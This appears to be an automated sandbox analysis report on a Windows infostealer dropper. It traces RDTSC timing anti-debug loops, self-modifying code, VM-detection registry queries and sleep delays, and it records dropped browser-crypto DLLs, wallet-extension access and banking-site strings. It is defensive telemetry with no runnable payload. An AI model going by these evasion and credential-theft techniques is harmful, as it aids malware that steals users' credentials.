Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0983 second address: 4BC0989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0989 second address: 4BC098D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC098D second address: 4BC099C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC099C second address: 4BC09A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC09A2 second address: 4BC09FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0EF51F8h 0x00000008 push esi 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e jmp 00007FE1C0EF51ECh 0x00000013 mov esi, dword ptr [ebp+08h] 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FE1C0EF51EEh 0x0000001d and cx, B448h 0x00000022 jmp 00007FE1C0EF51EBh 0x00000027 popfd 0x00000028 push eax 0x00000029 push edx 0x0000002a mov esi, 225961D5h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC09FA second address: 4BC0A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebx, 00000000h 0x0000000a jmp 00007FE1C0B69E3Ch 0x0000000f test esi, esi 0x00000011 jmp 00007FE1C0B69E40h 0x00000016 je 00007FE23372F7A2h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push ebx 0x00000020 pop esi 0x00000021 mov ebx, 1E3E771Ch 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0A33 second address: 4BC0A81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE1C0EF51F0h 0x00000009 xor esi, 37CDA438h 0x0000000f jmp 00007FE1C0EF51EBh 0x00000014 popfd 0x00000015 mov dx, ax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000022 jmp 00007FE1C0EF51F2h 0x00000027 mov ecx, esi 0x00000029 pushad 0x0000002a mov cl, 21h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0A81 second address: 4BC0A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0A85 second address: 4BC0ACD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007FE233ABAAFDh 0x0000000d jmp 00007FE1C0EF51F1h 0x00000012 test byte ptr [77816968h], 00000002h 0x00000019 pushad 0x0000001a mov dx, ax 0x0000001d mov esi, 00E17E2Fh 0x00000022 popad 0x00000023 jne 00007FE233ABAAE8h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FE1C0EF51F1h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0ACD second address: 4BC0B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d mov esi, 529A57A3h 0x00000012 mov bl, cl 0x00000014 popad 0x00000015 push ebp 0x00000016 pushad 0x00000017 mov esi, 2424BBCDh 0x0000001c mov ebx, eax 0x0000001e popad 0x0000001f mov dword ptr [esp], ebx 0x00000022 pushad 0x00000023 push esi 0x00000024 mov ax, dx 0x00000027 pop edx 0x00000028 mov esi, 69FBB539h 0x0000002d popad 0x0000002e xchg eax, ebx 0x0000002f pushad 0x00000030 jmp 00007FE1C0B69E42h 0x00000035 mov ecx, 473B39E1h 0x0000003a popad 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FE1C0B69E3Ah 0x00000043 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0B2E second address: 4BC0B6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushfd 0x00000007 jmp 00007FE1C0EF51EDh 0x0000000c sbb ax, DC66h 0x00000011 jmp 00007FE1C0EF51F1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE1C0EF51EDh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0B6C second address: 4BC0BAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+14h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE1C0B69E3Ch 0x00000013 and ch, 00000068h 0x00000016 jmp 00007FE1C0B69E3Bh 0x0000001b popfd 0x0000001c mov ax, BC5Fh 0x00000020 popad 0x00000021 push dword ptr [ebp+10h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0BAF second address: 4BC0BB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0C0D second address: 4BC0C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0C11 second address: 4BC0C2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0C2C second address: 4BC0C6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushfd 0x0000000b jmp 00007FE1C0B69E43h 0x00000010 add ecx, 0947A72Eh 0x00000016 jmp 00007FE1C0B69E49h 0x0000001b popfd 0x0000001c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0C6A second address: 4BC0CEA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C0EF51F0h 0x00000008 sbb cx, 9CA8h 0x0000000d jmp 00007FE1C0EF51EBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FE1C0EF51F8h 0x0000001b jmp 00007FE1C0EF51F5h 0x00000020 popfd 0x00000021 popad 0x00000022 mov esp, ebp 0x00000024 jmp 00007FE1C0EF51EEh 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FE1C0EF51F7h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0B5F second address: 4BD0BCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0B69E3Fh 0x00000008 pushfd 0x00000009 jmp 00007FE1C0B69E48h 0x0000000e xor ax, DAA8h 0x00000013 jmp 00007FE1C0B69E3Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e jmp 00007FE1C0B69E42h 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FE1C0B69E47h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C50720 second address: 4C50756 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE1C0EF51F0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE1C0EF51EEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C50756 second address: 4C5079D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE1C0B69E41h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FE1C0B69E41h 0x0000000f xor ah, 00000036h 0x00000012 jmp 00007FE1C0B69E41h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f movzx ecx, bx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C4083E second address: 4C40883 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C0EF51F2h 0x00000008 xor ax, 5EC8h 0x0000000d jmp 00007FE1C0EF51EBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 jmp 00007FE1C0EF51EFh 0x0000001d mov dx, ax 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C40883 second address: 4C40887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C40887 second address: 4C4088B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C4088B second address: 4C40891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C40891 second address: 4C40897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C40897 second address: 4C4089B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C4089B second address: 4C4089F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE01C6 second address: 4BE01D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE01D8 second address: 4BE020C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE1C0EF51EEh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov esi, 2089ED8Dh 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov bl, cl 0x0000001d jmp 00007FE1C0EF51EDh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE020C second address: 4BE0212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0212 second address: 4BE0216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C40C24 second address: 4C40C98 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C0B69E48h 0x00000008 add cx, 0C88h 0x0000000d jmp 00007FE1C0B69E3Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FE1C0B69E48h 0x0000001b and si, 6EE8h 0x00000020 jmp 00007FE1C0B69E3Bh 0x00000025 popfd 0x00000026 popad 0x00000027 push eax 0x00000028 pushad 0x00000029 pushad 0x0000002a mov dx, si 0x0000002d popad 0x0000002e jmp 00007FE1C0B69E3Ch 0x00000033 popad 0x00000034 xchg eax, ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C40C98 second address: 4C40C9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C40C9C second address: 4C40CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C40CA2 second address: 4C40CA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C40CA8 second address: 4C40CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C40CAC second address: 4C40CB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C40CB0 second address: 4C40CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov edx, esi 0x0000000d pushfd 0x0000000e jmp 00007FE1C0B69E44h 0x00000013 adc cx, E6D8h 0x00000018 jmp 00007FE1C0B69E3Bh 0x0000001d popfd 0x0000001e popad 0x0000001f push dword ptr [ebp+0Ch] 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Special instruction interceptor: First address: 53EC06 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Special instruction interceptor: First address: 6CF256 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Special instruction interceptor: First address: 53C1C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: F0EC06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 109F256 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: F0C1C6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

Code function: 1_2_04C40D4F rdtsc

1_2_04C40D4F

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\RoamingJDHCBAEHJJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

API coverage: 6.3 %

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7872	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7888	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7844	Thread sleep count: 202 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7844	Thread sleep time: -6060000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7968	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7844	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe TID: 3324	Thread sleep count: 166 > 30
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe TID: 3324	Thread sleep time: -996000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	19_2_0040D8C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	19_2_0040F4F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	19_2_0040BCB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	19_2_004139B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	19_2_0040E270
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	19_2_00401710
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	19_2_004143F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	19_2_0040DC50
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	19_2_00414050
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	19_2_0040EB60
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	19_2_004133C0

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Code function: 19_2_00401160 GetSystemInfo,ExitProcess,

19_2_00401160

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: Web Data.31.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Web Data.31.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: firefox.exe, 00000023.00000002.2563392429.0000020BC8C40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll%/
Source: Web Data.31.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Web Data.31.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Web Data.31.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Web Data.31.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Web Data.31.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A89000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000011.00000002.2529884809.0000000000A57000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2563392429.0000020BC8C40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2536648453.0000020BC832A000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.000000000263E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2533978892.0000021F9B19A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2562576602.0000021F9BA70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
